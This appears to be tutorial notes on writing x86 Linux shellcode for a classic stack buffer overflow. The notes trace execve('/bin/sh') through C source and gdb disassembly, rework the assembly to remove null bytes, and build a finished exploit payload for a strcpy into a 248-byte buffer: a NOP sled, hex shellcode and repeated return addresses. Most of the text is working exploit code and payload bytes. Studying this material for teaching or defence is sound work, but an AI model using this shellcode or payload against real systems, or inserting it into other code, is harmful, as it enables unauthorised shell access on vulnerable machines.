Shellcode What would a hacker want to put on the stack? Preferably, code to launch a shell. With a shell they have general access to the system as the user of the target software. shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode Then gdb shellcode and disassemble main ...to see what gets pushed on the stack to call __execve (gdb) disassemble main Dump of assembler code for function main: 0x80481e0
: push %ebp 0x80481e1 : mov %esp,%ebp 0x80481e3 : sub $0x8,%esp 0x80481e6 : movl $0x808dbc8,0xfffffff8(%ebp) 0x80481ed : movl $0x0,0xfffffffc(%ebp) 0x80481f4 : sub $0x4,%esp 0x80481f7 : push $0x0 0x80481f9 : lea 0xfffffff8(%ebp),%eax 0x80481fc : push %eax 0x80481fd : pushl 0xfffffff8(%ebp) 0x8048200 : call 0x804cab0 <__execve> 0x8048205 : add $0x10,%esp 0x8048208 : mov $0x0,%eax 0x804820d : leave 0x804820e : ret End of assembler dump. (gdb) and disassemble __execve to see how execve works. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x804cab0 <__execve>: push %ebp 0x804cab1 <__execve+1>: mov $0x0,%eax 0x804cab6 <__execve+6>: mov %esp,%ebp 0x804cab8 <__execve+8>: test %eax,%eax 0x804caba <__execve+10>: push %edi 0x804cabb <__execve+11>: push %ebx 0x804cabc <__execve+12>: mov 0x8(%ebp),%edi 0x804cabf <__execve+15>: je 0x804cac6 <__execve+22> 0x804cac1 <__execve+17>: call 0x0 0x804cac6 <__execve+22>: mov 0xc(%ebp),%ecx 0x804cac9 <__execve+25>: mov 0x10(%ebp),%edx 0x804cacc <__execve+28>: push %ebx 0x804cacd <__execve+29>: mov %edi,%ebx 0x804cacf <__execve+31>: mov $0xb,%eax 0x804cad4 <__execve+36>: int $0x80 0x804cad6 <__execve+38>: pop %ebx 0x804cad7 <__execve+39>: mov %eax,%ebx 0x804cad9 <__execve+41>: cmp $0xfffff000,%ebx 0x804cadf <__execve+47>: jbe 0x804caef <__execve+63> 0x804cae1 <__execve+49>: neg %ebx 0x804cae3 <__execve+51>: call 0x80484ac <__errno_location> 0x804cae8 <__execve+56>: mov %ebx,(%eax) 0x804caea <__execve+58>: mov $0xffffffff,%ebx 0x804caef <__execve+63>: mov %ebx,%eax 0x804caf1 <__execve+65>: pop %ebx 0x804caf2 <__execve+66>: pop %edi 0x804caf3 <__execve+67>: pop %ebp 0x804caf4 <__execve+68>: ret End of assembler dump. exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit Putting all of this together, here is what the shell code should do... 1) Setup data to appear as after char *name[2]; name[0] = "/bin/sh"; // address of "/bin/sh" name[1] = NULL; // long NULL 2) Simulate the call to execve(name[0], name, NULL); | | | v v v ebx ecx edx 0xb->eax then int $0x80 a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the ECX register. e) Copy the address of the string "/bin/sh" into the EBX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. jmp 0x2a # 3 bytes trick! to find address of /bin/sh popl %esi # 1 byte trick! on the stack movl %esi,0x8(%esi) # 3 bytes put the address of /bin/... in... movb $0x0,0x7(%esi) # 4 bytes null terminate /bin/... movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes call execve movl $0x1, %eax # 5 bytes call exit movl $0x0, %ebx # 5 bytes call exit int $0x80 # 2 bytes call exit call -0x2f # 5 bytes trick! esi-> .string \"/bin/sh\" # 8 bytes 7(%esi) z # 1 byte to be null termination of string 8(%esi) xxxx # 4 bytes address of "/bin/sh" 'name[0]' c(%esi) yyyy # 4 bytes NULL (long 0) 'name[1]' We still have a few problems!! Problem: This is not a string. Solution: That is easy to fix, you can examine the bytes of... shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ in gdb (gdb) x/bx main+3 ... Here it is as a string... "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Problem: This has some \x00 in it. This will effectively end the string. Solution: Use some tricks to generate \x00 without actually having 0 in your code. Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax movl $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Final shell code: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; To use this on a particular program (os version, gcc version, software version) you would do something like... Add in \x90 to the beginning (noop) and pad the end with a return address which will land the CPU back in the string of NO-OPs. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" <----- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | "\x80\xe8\xdc\xff\xff\xff/bin/sh" // 13 chars | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" <- hopefully one of these correctly overwrites | "\x44\xb0\xff\xbf"; <- the return address and jumps us back to ------ #### How can we figure out the minimum/maximum size of the shellcode, the return address and how many NOOPs to put? #### For simplicity, let's assume we have the source code for the function that we are exploiting. 1. int test( *ref ) 2. { 3. char buf[248] ; 4. strcpy( buf, ref ) ; 5. return 0 ; 6. } 0) Using a debugger, break just before the return of the function (break 5) 2) Run the executable 3) Find the address of the buffer you are exploiting (print &buf, which gives us 0xbffff9a0) 4) Find the address of the return address. Remember it is 4 memory locations below the base pointer (print $ebp + 4, which gives us 0xbffffaa0) 5) Calculate the difference between the start of the buffer and the return address: 0xbffff9a0 - 0xbffffaa0 = 0x100 = 256 bytes. 6) Now we know that we have AT MOST 252 bytes to put our shellcode (the last 4 must be the new return address). However, it is unlikely that will be able to exploit every machine if our shellcode takes the whole 252 bytes. Instead, we will create a "landing pad" of NOOPs to account for dynamic variations of the stack upon the runtime. We always want to have as many NOOPs as possible. 7) Let's say our shellcode takes 16+16+13 = 45 bytes. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; To make it word aligned let's add 3 noops at the end: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" "\x90\x90\x90" 8) Now we have ( 256 - 48 ) = 208 bytes where we can fill in NOOPs for landing and return addresses. 9) Since we want to land somewhere in the middle of NOOPs, let's say we will jump 100 bytes from the start of the buffer. This gives us the news return address! 0xbffff9a0 + 0x64 = 0xbffffa04 10) Let's add 4 copies of this to the of our shellcode: (Recall, that INTEL is little-endian!) "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" "\x90\x90\x90" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" We will assume the last two copies of the return address are redundant, meaning they will go below the return address which we want to overwrite. Hence, we will ignore adding them to the size of the shellcode. So as of now, our shellcode takes: 48 + 8 = 56 bytes. Therefore, I have ( 256 - 56 ) = 200 bytes for NOOPs! 11) Add 200 bytes NOOPs to get the final shellcode: "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" "\x90\x90\x90" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" "\x04\xfa\xff\xbf" ;